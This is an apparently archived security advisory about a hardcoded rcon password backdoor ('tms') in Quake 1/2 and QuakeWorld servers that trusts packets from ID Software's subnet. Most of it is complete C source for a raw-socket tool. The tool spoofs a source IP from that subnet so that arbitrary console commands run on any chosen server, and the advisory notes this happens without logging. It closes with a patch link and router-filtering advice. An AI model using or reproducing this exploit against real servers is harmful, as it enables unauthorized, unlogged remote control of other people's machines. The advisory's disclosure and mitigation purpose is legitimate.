COMMAND

    quake

SYSTEMS AFFECTED

    Quake 1/2, QuakeWorld, Linux/Solaris Quake2

PROBLEM

    Following was  found by  Mark Zielinski.   The Quake  server has a
    feature where it allows  administrators to remotely send  commands
    to the Quake console with a password.  However, it is possible  to
    remotely bypass authentication. In order for this to be exploited,
    the attacker would have to create a handcrafted udp packet with  a
    header containing the rcon command  and the password "tms" with  a
    source IP coming from ID  Software's Subnet. (192.246.40)

    The Quake server does not  require an open connection for  sending
    the rcon packet.  When this is exploited, no logs are reported  of
    the  rcon  command  being  used.   A  program to implement the bug
    follows.  You  may change buf[512]  to buf[400] if  your on a  ppp
    link or a link with a small mtu.

    /* rcon.c
      Quake  world rcon_password bug implimentation by Jeff  Roberson,
      <jroberson@chesapeake.net> (VallaH)
      Linux 2.0.33 source,  will compile on  BSD if you  modify the ip
      header etc.  Please note that I did not discover this, I  simply
      wrote the code.  Thanks to Nick Toomey, <ntoomey@chesapeake.net>
      (Grifter)

      Brief summary:
	  Any rcon  command coming  from the  idsoftware subnet 192.246.40
	  with the rcon  password of tms  will be accepted  on any server.
	  This program  simply spoofs  a packet  from vader.idsoftware.com
	  (random pick) to whatever server you identify.

      Usage:
	    ./rcon ip/host "what you want to do" [port]
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>

    #define SIP "192.246.40.42" /* vader.idsoftware.com */
    #define command "˙˙˙˙rcon tms "

    u_long resolve_address(u_char *host)
    {
	    struct  in_addr addr;
	    struct  hostent *he;

	    if((addr.s_addr = inet_addr(host)) == -1) {
		    if (!(he = gethostbyname(host))) {
			    printf("Unknown address: %s\n", host);
			    exit(-1);
		    }
		    bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
	    }
	    return(addr.s_addr);
    }
    int main(int argc, char **argv)
    {
	    int     s;
	    int     port=27500;
	    char    buf[512];
	    struct  sockaddr_in dst;
	    struct  iphdr *iph=(struct iphdr *)buf;
	    struct  udphdr *udp=(struct udphdr *)(buf + 20);

	    if (argc<3) {
		    printf("usage:\n");
		    printf("\t%s ip ""command"" <port>\n", argv[0]);
		    exit(-1);
	    }
	    if (argc==4) port = atoi(argv[3]);
	    bzero(buf, sizeof(buf));
	    bzero((char *)&dst, sizeof(dst));

	    iph->version=4;
	    iph->ihl=5;
	    iph->tos=0;
	    iph->tot_len=htons(sizeof(buf));
	    iph->id=htons(1234);
	    iph->frag_off=0;
	    iph->ttl=255;
	    iph->protocol=17;

	    iph->saddr=inet_addr(SIP);
	    iph->daddr=resolve_address(argv[1]);

	    udp->source=htons(1234);
	    udp->dest=htons(port);
	    udp->len=htons(sizeof(buf) - 20);

	    dst.sin_family=PF_INET;
	    dst.sin_addr.s_addr=iph->daddr;
	    dst.sin_port=htons(27500);

	    sprintf((buf + 28), "%s%s\n", command, argv[2]);

	    if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		    perror("socket");
		    exit(-1);
	    }

	    if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) {
		    perror("sendto");
		    exit(-1);
	    }
	    exit(1);
    }

SOLUTION

    Check out

        http://www.planetquake.com/arena/rconfix/

    for a patch  to modify the  existing known rcon  password of "tms"
    with a  random one,  which contains  a ",  making the  newly found
    backdoor unusable.  However, the  best way to fix this  problem is
    still to filter not just the id's subdomain(192.246.40.*) at  your
    router (all  incoming packets),  but to  put in  a ruleset to deny
    packets  from  the  entire  class  C.   Quake  II v3.15 patch will
    address this issue.